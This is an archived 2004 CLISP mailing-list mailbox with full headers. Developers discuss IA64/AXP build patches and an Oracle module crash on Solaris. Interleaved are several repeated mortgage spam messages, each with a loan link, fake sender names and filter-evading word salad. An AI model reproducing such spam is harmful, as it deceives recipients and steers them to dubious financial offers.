15:42:28 +0200 On Thu, Jul 01, 2004 at 08:56:01AM -0400, Sam Steingold wrote: > > * Dr. Werner Fink [2004-07-01 12:20:02 +0200]: > > > > I've done some changes to get clisp 2.33.2 working on IA64 and AXP. > > The patch in the first attachment changes the ffcall to get it work > > with IA64. The patch in the second attachment implements the > > possiblity to use --libdir at configure to get /usr/lib64 as libdir as > > mentioned in the FHS and the patch also gives the possiblity to set > > MYCFLAGS for _all_ compiles because for IA64 and AXP the MYCFLAGS has > > to be set to > > > > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP > > > > or otherwise some function calls will fail due wrong return values. > > E.g. qix.lisp in the new-clx demos fails. > > > > Now only s390x aka the 64bit version of s390 is missed in the list of > > clisp compiles. > > great! could you please send us the URL of your patches? > If they are small you can just append them to your message. > (If you insist on using attachments, please send them directly to Bruno) I've send a second message with the two patches enclosed as normal text. You'll find thme between the cutmarks `snip' and `snap' ;^) Btw: What's wrong on attachments? Don't tell me that some virus are send as attachments ... broken mailer which automatically expands attachments shouldnt' be used anymore. Werner -- Dr. Werner Fink, SuSE LINUX AG, Maxfeldstrasse 5, D-90409 Nuernberg Germany http://www.suse.de/ and USA http://www.suse.com/ mail:werner@suse.de http://www.suse.de/~werner/ fax:+49-911-3206727 ------------------------------------------------------------------------ "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Thu Jul 01 07:05:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bg2BY-0008Sq-Uj for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 07:05:08 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bg2BY-0003t0-E0 for clisp-list@lists.sourceforge.net; Thu, 01 Jul 2004 07:05:08 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i61E4uHP000513; Thu, 1 Jul 2004 10:04:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040701134228.GA24500@wotan.suse.de> (Werner Fink's message of "Thu, 1 Jul 2004 15:42:28 +0200") References: <20040701102002.GA14483@wotan.suse.de> <20040701134228.GA24500@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Working: IA64 and AXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 1 07:06:17 2004 X-Original-Date: Thu, 01 Jul 2004 10:04:55 -0400 > * Dr. Werner Fink [2004-07-01 15:42:28 +0200]: > > Btw: What's wrong on attachments? lot's of spam uses it. -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From dvaughandl@compuserv.de Sat Jul 03 13:31:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BgrAS-0007tB-4I; Sat, 03 Jul 2004 13:31:24 -0700 Received: from [221.225.49.248] (helo=fave.de) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BgrAR-0003ss-1V; Sat, 03 Jul 2004 13:31:24 -0700 Received: from 196.81.161.85 by smtp.compuserv.de; Sat, 03 Jul 2004 20:28:21 +0000 Message-ID: <184201c4613c$0337ffb2$bedd21c5@fave.de> From: "Douglas Vaughan" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $32832 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 3 13:32:05 2004 X-Original-Date: Sat, 03 Jul 2004 14:28:14 -0600 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.yourloanz.com/s6/jwex.php?bks=71 Best Regards, Steve Morris ---- system information ---- sends alone employ items Produces cite Publication Group linguistic result considered segments display backgrounds resource aspects them existing non-proprietary settings applications maintaining does describe From MAILER-DAEMON Sun Jul 04 02:33:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bh3NS-0007lt-Qu for clisp-list@lists.sourceforge.net; Sun, 04 Jul 2004 02:33:38 -0700 Received: from mx.laposte.net ([81.255.54.11]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bh3NS-0000wd-DH for clisp-list@lists.sourceforge.net; Sun, 04 Jul 2004 02:33:38 -0700 Received: by mx.laposte.net (7.0.028) id 40D89B820065C0D3 for clisp-list@lists.sourceforge.net; Sun, 4 Jul 2004 11:33:31 +0200 From: votre.message@laposte.net To: clisp-list@lists.sourceforge.net Message-ID: <40D89B820065C0D2@lpdnpm04.laposte.net> In-Reply-To: <40D89B820065C0D1@lpdnpm04.laposte.net> Precedence: junk Delivered-To: votre.message@laposte.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: Quoted-Printable X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: My details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 4 02:34:01 2004 X-Original-Date: Sun, 4 Jul 2004 11:33:31 +0200 ----- Ceci est une r=E9ponse automatique ----- suite =E0 votre message envoy=E9 =E0 votre.message@laposte.net Merci pour votre message et votre visite sur le site http://lac-de-bizert= e.chez.tiscali.fr/ From leighfhurleycy@iqtron.se Sun Jul 04 09:01:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bh9RH-0002Lz-Aa; Sun, 04 Jul 2004 09:01:59 -0700 Received: from 218-170-165-44.dynamic.hinet.net ([218.170.165.44] helo=linde-va.de) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bh9Mi-0006e7-3U; Sun, 04 Jul 2004 09:01:59 -0700 Received: from 250.246.249.24 by smtp.iqtron.se; Sun, 04 Jul 2004 15:57:10 +0000 Message-ID: From: "Leigh F. Hurley" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $32832 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 4 09:02:07 2004 X-Original-Date: Sun, 04 Jul 2004 09:56:39 -0600 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.yourloanz.com/s6/jwex.php?bks=71 Best Regards, Steve Morris No more: http://www.yourloanz.com/r1/index.html ---- system information ---- entities do describe internationalized interested localization offer proprietary formatting ordering future deduced user's form mailing holidays report creating accordance deployed settings throughly control greater From rich_salazarie@ockelbo.se Sun Jul 04 09:03:17 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bh9SX-0002Uk-LR; Sun, 04 Jul 2004 09:03:17 -0700 Received: from [61.106.84.187] (helo=geologistics.com.hk) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1Bh9On-0003W0-Qs; Sun, 04 Jul 2004 09:03:17 -0700 Received: from 249.254.138.228 by smtp.ockelbo.se; Sun, 04 Jul 2004 15:57:13 +0000 Message-ID: <1e1801c461df$9642c7e1$837642fd@geologistics.com.hk> From: "Rich Salazar" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $22331 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 4 09:04:10 2004 X-Original-Date: Sun, 04 Jul 2004 16:56:55 +0100 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.yourloanz.com/s6/jwex.php?bks=71 Best Regards, Steve Morris No more: http://www.yourloanz.com/r1/index.html ---- system information ---- though can send adapted expects problem submitted marks instead script examples: application written alone mailing expectations on colors with We programming public-i18n-ws-request@w3org revision Document From jacobsonbm@virtuous.co.uk Mon Jul 05 03:56:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BhR9O-0000L4-Qk; Mon, 05 Jul 2004 03:56:42 -0700 Received: from [61.106.80.11] (helo=spicom.es) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BhR9N-0007sr-4h; Mon, 05 Jul 2004 03:56:42 -0700 Received: from 204.36.148.91 by smtp.virtuous.co.uk; Mon, 05 Jul 2004 10:55:50 +0000 Message-ID: <0b1201c4627e$a0ab9294$8b42251d@spicom.es> From: "Ahmad Jacobson" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $11523 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 5 03:59:23 2004 X-Original-Date: Mon, 05 Jul 2004 14:55:25 +0400 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.yourloanz.com/s6/jwex.php?bks=71 Best Regards, Steve Morris No more: http://www.yourloanz.com/r1/index.html ---- system information ---- Membership languages include archive organization kinds technical case field group writes programming Use adapted list natural descriptions requests reflection examples: acceptable identical) individual marks From sarroyoac@ninja.dk Mon Jul 05 22:58:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bhiyn-0002Cu-W3; Mon, 05 Jul 2004 22:58:57 -0700 Received: from [61.102.126.110] (helo=crystalholidays.co.uk) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bhiym-0000Pu-Tc; Mon, 05 Jul 2004 22:58:57 -0700 Received: from 191.139.214.224 by smtp.ninja.dk; Tue, 06 Jul 2004 06:03:36 +0000 Message-ID: <653201c4631e$1be35014$fdcb367b@crystalholidays.co.uk> From: "Stacy Arroyo" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $23358 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 5 22:59:02 2004 X-Original-Date: Tue, 06 Jul 2004 02:03:31 -0400 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.yourloanz.com/s6/jwex.php?bks=71 Best Regards, Steve Morris No more: http://www.yourloanz.com/r1/index.html ---- system information ---- sender scenarios working produces means is disclose lives describing Language time tags Identifiers:: contribute adapted widely management case nearly capabilities if process problem an From Carlos.Ungil@cern.ch Wed Jul 07 03:39:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bi9qA-0005zb-KA for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 03:39:50 -0700 Received: from cernmx04.cern.ch ([137.138.166.167] helo=cernmxlb.cern.ch) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bi9qA-0006sg-5i for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 03:39:50 -0700 Keywords: CERN SpamKiller Note: -49 Charset: west-latin X-Filter: CERNMX04 SMTPGW CERN Spam Sink v1.0 Received: from cernfe02.cern.ch ([137.138.28.243]) by cernmxlb.cern.ch with Microsoft SMTPSVC(6.0.3790.0); Wed, 7 Jul 2004 12:39:41 +0200 Received: from lxplus021.cern.ch ([137.138.4.227]) by cernfe02.cern.ch over TLS secured channel with Microsoft SMTPSVC(6.0.3790.0); Wed, 7 Jul 2004 12:39:41 +0200 From: Carlos Ungil X-X-Sender: ungil@lxplus021.cern.ch Reply-To: Carlos.Ungil@cern.ch To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 07 Jul 2004 10:39:41.0245 (UTC) FILETIME=[B59C36D0:01C4640E] X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] does the oracle module work in Solaris? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 7 03:40:19 2004 X-Original-Date: Wed, 7 Jul 2004 12:39:40 +0200 (CEST) Hello, I cannot get the oracle module to work in Solaris using clisp 2.33.2 (in past releases I didn't manage to make it work neither). The error message is not very helpful, and I cannot find in the documentation if I should expect it to work or not. Any idea? Regards, Carlos [1]> (oracle:connect *user* *pwd* *db*) NIL [2]> (oracle:run-sql "select count(*) from user_tables") zsh: 21997 bus error (core dumped) bin/clisp -K full From hin@van-halen.alma.com Wed Jul 07 05:03:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiB8h-0001Wk-4x for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 05:03:03 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BiB8g-0001lu-PI for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 05:03:03 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 54D0210DEB6; Wed, 7 Jul 2004 08:02:58 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i67C2kCv006942; Wed, 7 Jul 2004 08:02:47 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i67C2k0r006939; Wed, 7 Jul 2004 08:02:46 -0400 Message-Id: <200407071202.i67C2k0r006939@van-halen.alma.com> From: "John K. Hinsdale" To: Carlos.Ungil@cern.ch Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Carlos Ungil on Wed, 7 Jul 2004 12:39:40 +0200 (CEST)) Subject: Re: [clisp-list] does the oracle module work in Solaris? X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_ASTERISK BODY: Text interparsed with * 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 7 05:04:01 2004 X-Original-Date: Wed, 7 Jul 2004 08:02:46 -0400 > I cannot get the oracle module to work in Solaris using clisp 2.33.2 > (in past releases I didn't manage to make it work neither). Hi carlos ... well it has never been tested on Solaris. But there's not reason it should not work, but at the same also some possibility that the Oracle module has a bug that triggers on Solaris but not Linux (where I develped it). > The error message is not very helpful, and I cannot find in the > documentation if I should expect it to work or not. > > Any idea? > > [1]> (oracle:connect *user* *pwd* *db*) > NIL > [2]> (oracle:run-sql "select count(*) from user_tables") > zsh: 21997 bus error (core dumped) bin/clisp -K full As it happens I have access to a Solaris box w/ Oracle now, so I can try to compile CLISP w/ Oracle on it and see what happens. If I can reproduce the bug I'll fix, else I may get back to you for a test case. BTW this would also be helpful: - Does it crash when you connect and do this query: "SELECT 'x' FROM dual" - output of "uname -a" - output of "sqlplus -v" - Oracle version of your server (what appears after "Connected to:" banner when you connect w/ SQL*Plus - what compiler (gcc or Sun's) you are using --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From Carlos.Ungil@cern.ch Wed Jul 07 06:37:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiCc8-0002bT-Ik for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 06:37:32 -0700 Received: from cernmx03.cern.ch ([137.138.166.166] helo=cernmxlb.cern.ch) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BiCc7-0002un-Ea for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 06:37:31 -0700 Keywords: CERN SpamKiller Note: -51 Charset: west-latin X-Filter: CERNMX03 SMTPGW CERN Spam Sink v1.0 Received: from cernfe02.cern.ch ([137.138.28.243]) by cernmxlb.cern.ch with Microsoft SMTPSVC(6.0.3790.0); Wed, 7 Jul 2004 15:37:24 +0200 Received: from lxplus021.cern.ch ([137.138.4.227]) by cernfe02.cern.ch over TLS secured channel with Microsoft SMTPSVC(6.0.3790.0); Wed, 7 Jul 2004 15:37:23 +0200 From: Carlos Ungil X-X-Sender: ungil@lxplus021.cern.ch Reply-To: Carlos.Ungil@cern.ch To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] does the oracle module work in Solaris? In-Reply-To: <200407071202.i67C2k0r006939@van-halen.alma.com> Message-ID: References: <200407071202.i67C2k0r006939@van-halen.alma.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 07 Jul 2004 13:37:23.0987 (UTC) FILETIME=[89198630:01C46427] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 7 06:38:05 2004 X-Original-Date: Wed, 7 Jul 2004 15:37:22 +0200 (CEST) Hello John, I'm using the 8.1.7 libraries, and the database is "Oracle8i Enterprise Edition Release 8.1.7.4.0" The machine where clisp is compiled (the database is elsewhere) is "SunOS 5.8 Generic_108528-22 sun4u sparc SUNW,Ultra-4" I've compiled it with gcc, trying to do so with cc gives this error: ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" (....clisp banner....) *** - SVREF: index 29360132 for #(COMPILEDP NIL MY-OPEN NIL BAD NIL CHECK-COMPILED-FILE NIL NIL) is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT)) Bye. Thanks for your interest. I've already used your module in Linux, to create some reports, and now I would like to use it in cgi script in the Solaris box. Regards, Carlos From hin@van-halen.alma.com Wed Jul 07 06:56:48 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BiCul-0005b7-Rt for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 06:56:47 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BiCul-0006Ec-G6 for clisp-list@lists.sourceforge.net; Wed, 07 Jul 2004 06:56:47 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 6CC1810DEA3; Wed, 7 Jul 2004 09:56:43 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i67DuVCv009392; Wed, 7 Jul 2004 09:56:31 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i67DuV3R009389; Wed, 7 Jul 2004 09:56:31 -0400 Message-Id: <200407071356.i67DuV3R009389@van-halen.alma.com> From: "John K. Hinsdale" To: Carlos.Ungil@cern.ch Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Carlos Ungil on Wed, 7 Jul 2004 15:37:22 +0200 (CEST)) Subject: Re: [clisp-list] does the oracle module work in Solaris? X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 7 06:57:02 2004 X-Original-Date: Wed, 7 Jul 2004 09:56:31 -0400 > I've compiled it with gcc, trying to do so with cc gives this error: i'm not surprised. you should use gcc anyway; ;) one more thing: what is output of gcc -v My Solaris box has 2.95.2 and I'm not sure that will copmile CLISP anymore (sam?) ... so if I'm going to get a new one I may as well get the same one your'e using to debug this .. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com 